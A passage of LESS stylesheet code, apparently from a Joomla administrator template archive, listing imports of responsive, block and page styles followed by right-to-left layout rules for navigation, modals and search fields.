// Phones to portrait tablets and narrow desktops
@import "../../../../media/jui/less/responsive-767px-max.less";
// Tablets to regular desktops
@import "bootstrap/responsive-768px-979px.less";
// Large desktops
@import "bootstrap/responsive-1200px-min.less";
// RESPONSIVE NAVBAR
// ------------------
// From 979px and below, show a button to toggle navbar contents
@import "../../../../media/jui/less/responsive-navbar.less";
// Extended for JUI
@import "../../../../media/jui/less/bootstrap-extended.less";
// Has to be last to override when necessary
// div.modal (instead of .modal)
@import "../../../../media/jui/less/modals.joomla.less";
@import
"../../../../media/jui/less/responsive-767px-max.joomla.less";
// Icon Font
@import "icomoon.less";
// Blocks
@import "blocks/_global.less";
@import "blocks/_chzn-override.less";
@import "blocks/_editors.less";
@import "blocks/_forms.less";
@import "blocks/_header.less";
@import "blocks/_login.less";
@import "blocks/_media.less";
@import "blocks/_modals.less";
@import "blocks/_navbar.less";
@import "blocks/_quickicons.less";
@import "blocks/_sidebar.less";
@import "blocks/_status.less";
@import "blocks/_tables.less";
@import "blocks/_toolbar.less";
@import "blocks/_treeselect.less";
@import "blocks/_utility-classes.less";
@import "blocks/_custom.less";
// Pages
@import "pages/_com_cpanel.less";
@import "pages/_com_postinstall.less";
@import "pages/_com_privacy.less";
@import "pages/_com_templates.less";
template_rtl.less000064400000001003151164554630010134 0ustar00// Specific
RTL. rtl class is added to body tag
// Fix for sub menu alignment
.rtl .navigation .nav-child {
left: auto;
right:0;
}
.rtl .navigation .nav > li > .nav-child:before {
left: auto;
right:12px;
}
.rtl .navigation .nav > li > .nav-child:after {
left: auto;
right:13px;
}
// Category collapse
.rtl .categories-list .collapse {
margin: 0 20px 0 0;
}
// Modal footer
.rtl .modal-footer button {
float: left;
}
// Smart search select field margin
.rtl .finder-selects {
margin: 0 0 15px 15px;
}